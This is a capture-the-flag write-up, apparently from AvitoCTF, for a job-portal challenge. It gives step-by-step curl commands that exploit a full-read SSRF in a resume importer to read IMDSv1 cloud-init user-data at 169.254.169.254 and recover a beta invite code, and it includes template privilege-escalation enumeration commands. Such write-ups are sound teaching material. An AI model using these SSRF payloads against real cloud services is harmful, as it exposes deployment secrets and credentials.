МёдХантер I: ранний доступ
МёдХантер I: ранний доступ
Platform: Avitoctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-22 | Status: Solved Techniques: full_read_ssrf, imdsv1_user_data_exfiltration
Summary
Task: A resume importer fetches attacker-controlled URLs and reflects invalid response bodies, exposing a full-read SSRF. Solution: Query IMDSv1 user-data, recover the PDF beta invite variable, and activate it through the seeker API.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
avitoctf| ID:20260722_avitoctf_medhanter_i_rannii_dostup - Tags: ssrf, go, cloud_metadata, imdsv1
- Indicators: URL-based resume import, invalid fetched body reflected in content, IMDSv1 reachable at 169.254.169.254
- Source:
20260722_avitoctf_medhanter_i_rannii_dostup.md
Foothold
Vulnerability / Misconfiguration
- Full_read_ssrf
- Imdsv1_user_data_exfiltration
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- full_read_ssrf
- imdsv1_user_data_exfiltration
- Tags: ssrf, go, cloud_metadata, imdsv1
Original Writeup
<details><summary>Click to expand original content</summary>МёдХантер I: ранний доступ — avitoctf
Description
МедХантер — портал вакансий. Генерация PDF-резюме доступна только в рамках закрытого бета-тестирования; цель — получить действующий код приглашения.
The application is a job portal whose PDF resume feature requires a valid closed-beta invitation code. The goal is to obtain that code and enable the feature for a normal seeker account.
Analysis
The frontend JavaScript exposed three relevant API operations:
POST /api/auth/registercreates a normal seeker account and establishes a session.POST /api/seeker/resume/importaccepts JSON containing a user-controlledurl.POST /api/seeker/pdf/activatevalidates a beta invitation code.
The resume importer performed a server-side HTTP GET. When the fetched response was not a valid resume document, the API returned the complete response body in the JSON content field. Fetching the site frontend produced its HTML inside that field, proving a full-read SSRF, not merely a blind request primitive.
Loopback recon found the Go backend on 127.0.0.1:8080 and the expected frontend/backend/database Docker services. However, bounded route checks did not reveal a useful internal endpoint. The important pivot was to apply generic SSRF methodology beyond loopback and test link-local cloud metadata.
The host allowed unauthenticated IMDSv1 access. Requesting http://169.254.169.254/latest/user-data through the importer returned cloud-init user-data, including the PDF beta deployment variable. No cloud or storage credentials from that response were needed.
Solution
1. Create an ordinary seeker session
Use placeholders rather than preserving a challenge session cookie:
BASE='https://hrportal-97vy07q2.avitoctf.ru'
curl -sS -c cookies.txt \
-H 'Content-Type: application/json' \
-d '{"email":"<EMAIL>","password":"<PASSWORD>","display_name":"Solver","role":"seeker"}' \
"$BASE/api/auth/register"
The saved response artifact register-seeker.json confirms that the new account had role seeker and pdf_beta_enabled:false.
2. Confirm full-read SSRF
Ask the importer to fetch a non-resume page:
curl -sS -b cookies.txt \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.0.0.1:8080/"}' \
"$BASE/api/seeker/resume/import"
The API embeds the fetched body in its content property when parsing fails. This behavior makes internal HTTP responses directly readable by the attacker.
3. Read cloud-init user-data
Use the same importer to reach the link-local metadata service:
curl -sS -b cookies.txt \
-H 'Content-Type: application/json' \
-d '{"url":"http://169.254.169.254/latest/user-data"}' \
"$BASE/api/seeker/resume/import"
The reflected content contains the deployment configuration, including:
PDF_BETA_INVITE_CODE=avito{REDACTED}
This confirms that IMDSv1 is reachable without a metadata token and that the importer can read its response.
4. Activate PDF beta access
Copy the recovered value into the activation request:
INVITE='avito{REDACTED}'
curl -sS -b cookies.txt \
-H 'Content-Type: application/json' \
-d "{\"code\":\"$INVITE\"}" \
"$BASE/api/seeker/pdf/activate"
The server returned HTTP 200:
{"enabled":true}
A final state check verifies the account change:
curl -sS -b cookies.txt "$BASE/api/me"
The response contains "pdf_beta_enabled":true. These exact success states are preserved in activation-success.json and me-activated.json.
Failed Paths and Distractions
Several bounded alternatives were negative: guessing loopback ports and hidden backend routes, employer registration and role overposting, activation-body type confusion, reuse of public PDF UUIDs or verification codes, obvious session-signing keys, simple SQL injection probes, and seeded default credentials. These checks established that the intended primitive was the importer SSRF; the mistake was initially limiting SSRF recon to ordinary loopback and Docker services.
Reproducible Evidence
notes.md: complete test history, phase checkpoints, metadata finding, and activation verification.import-probes.txt: reflected invalid fetched content demonstrating full-read behavior.register-seeker.json: ordinary seeker account initially had PDF beta disabled.activation-success.json: activation returned{"enabled":true}.me-activated.json:/api/meconfirmedpdf_beta_enabled:true.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR